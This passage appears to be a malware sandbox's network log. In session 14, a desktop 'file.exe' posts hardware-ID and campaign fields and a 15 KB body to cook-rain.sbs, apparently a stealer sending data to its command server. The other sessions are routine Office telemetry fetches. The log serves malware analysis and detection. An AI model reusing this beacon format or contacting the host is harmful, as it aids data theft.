2024-11-20 23:03:02 UTC	12820	OUT	Data Raw: 2d 2d 43 58 45 37 35 4b 56 4e 43 43 49 43 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 43 58 45 37 35 4b 56 4e 43 43 49 43 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 58 45 37 35 4b 56 4e 43 43 49 43 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 58 45 37 35 Data Ascii: --CXE75KVNCCIC7Content-Disposition: form-data; name="hwid"12C3E1E727987F3663CFCF7E6C45F838--CXE75KVNCCIC7Content-Disposition: form-data; name="pid"2--CXE75KVNCCIC7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CXE75
2024-11-20 23:03:03 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ldujebfldrhsces4or7j948cq; expires=Sun, 16-Mar-2025 16:49:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2awqk461HDR1WVd7OakppOkO2u26dQLVdp06KMguRxIj5SRVB62jf3aiu74GhlRikdQ3TpTChabtv44TFuTGrcMtWCjGB%2BmoATHr2pipl41Piug9e0CDP%2BMxZRgeYgFV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c1234581d4263-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13752&delivery_rate=1658148&cwnd=246&unsent_bytes=0&cid=ccb9e04ef93c88ea&ts=898&x=0"
2024-11-20 23:03:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 23:03:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:04 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 7a9720a2-e01e-0020-0a18-3bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230304Z-r1d97b99577gg97qhC1TEBcrf4000000097g00000000u880 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:04 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230304Z-1777c6cb754n67brhC1TEBcp9c0000000a6000000000zcsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:04 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:04 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230304Z-1777c6cb754lvj6mhC1TEBke940000000a60000000010z20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:04 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:04 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: b54876a2-a01e-0070-6764-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230304Z-178bfbc474bv587zhC1NYCny5w00000000eg000000001zzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:04 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:04 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:04 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230304Z-1777c6cb754dqf99hC1TEB5nps0000000a1000000000qzdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:04 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49715	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:05 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TPFE6QI3YNKJIVSXJF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: cook-rain.sbs
2024-11-20 23:03:05 UTC	15082	OUT	Data Raw: 2d 2d 54 50 46 45 36 51 49 33 59 4e 4b 4a 49 56 53 58 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 54 50 46 45 36 51 49 33 59 4e 4b 4a 49 56 53 58 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 50 46 45 36 51 49 33 59 4e 4b 4a 49 56 53 58 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --TPFE6QI3YNKJIVSXJFContent-Disposition: form-data; name="hwid"12C3E1E727987F3663CFCF7E6C45F838--TPFE6QI3YNKJIVSXJFContent-Disposition: form-data; name="pid"2--TPFE6QI3YNKJIVSXJFContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-20 23:03:06 UTC	990	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3vc17fmr5r2235ov2icaf7jsm5; expires=Sun, 16-Mar-2025 16:49:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pg7JBag4%2Fuwbw6OeLChJl%2BV4Ohtd1%2Fg42UbCH%2BjOFUDqhuYTnZBSWhhojqpWV%2FWPjDx3hoXi09gjyEPJ%2ByxRmbhPrk5Sxki5TYq7pwJGXFSVO61YiCDHy0nDP57gYqhy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c1244bbfb438c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&sent=15&recv=21&lost=0&retrans=1&sent_bytes=4200&recv_bytes=16019&delivery_rate=205633&cwnd=244&unsent_bytes=0&cid=1d31843c0a1454c7&ts=1226&x=0"
2024-11-20 23:03:06 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 23:03:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230306Z-1777c6cb754g9zd5hC1TEBfvpw0000000acg00000000czdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230306Z-178bfbc474btrnf9hC1NYCb80g00000000t000000000n75v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:06 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230306Z-178bfbc474bv7whqhC1NYC1fg400000000fg00000000uhhm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230306Z-1777c6cb7549j9hhhC1TEBzmcc0000000a3g00000000qc05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:06 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
